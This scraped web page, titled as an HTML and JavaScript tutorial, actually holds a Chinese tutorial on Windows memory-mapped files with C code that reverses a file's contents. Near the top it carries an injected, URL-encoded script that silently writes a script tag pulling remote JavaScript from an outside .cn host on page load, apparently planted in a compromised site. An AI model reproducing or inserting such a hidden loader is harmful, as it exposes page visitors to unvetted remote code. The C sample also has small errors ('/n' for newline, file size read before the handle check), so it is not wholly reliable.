HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
使用内存映射文件
若要使用内存映射文件,必须执行下列操作步骤:
1) 创建或打开一个文件内核对象,该对象用于标识磁盘上你想用作内存映射文件的文件。(CreateFile)
2) 创建一个文件映射内核对象,告诉系统该文件的大小和你打算如何访问该文件。(CreateFileMapping)
3) 让系统将文件映射对象的全部或一部分映射到你的进程地址空间中。(MapViewOfFile)
当完成对内存映射文件的使用时,必须执行下面这些步骤将它清除:
1) 告诉系统从你的进程的地址空间中撤消文件映射内核对象的映像。(UnmapViewOfFile)
2) 关闭文件映射内核对象。(CloseHandle)
3) 关闭文件内核对象。(CloseHandle)
code:
#include
<windows.h>
#include
<stdio.h>
#include
<stdlib.h>
int
main()
{
HANDLE file = CreateFile(
"test.txt"
,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
int
len = GetFileSize(file,NULL);
if
(file == INVALID_HANDLE_VALUE)
{
printf(
"create file error/n"
);
return
0;
}
HANDLE fileMap = CreateFileMapping(file,NULL,PAGE_READWRITE,0,0,NULL);
if
(fileMap==NULL)
{
CloseHandle(file);
printf(
"create filemaping error/n"
);
return
0;
}
char
*pData = (
char
*)MapViewOfFile(fileMap,FILE_MAP_ALL_ACCESS,0,0,0);
if
(pData==NULL)
{
CloseHandle(fileMap);
CloseHandle(file);
printf(
"create filemaping error/n"
);
return
0;
}
for
(
int
i=0; i<len/2; ++i)
{
char
t = pData[i];
pData[i] = pData[len-i-1];
pData[len-i-1] = t;
}
UnmapViewOfFile((
void
*)pData);
CloseHandle(fileMap);
CloseHandle(file);
return
0;
}
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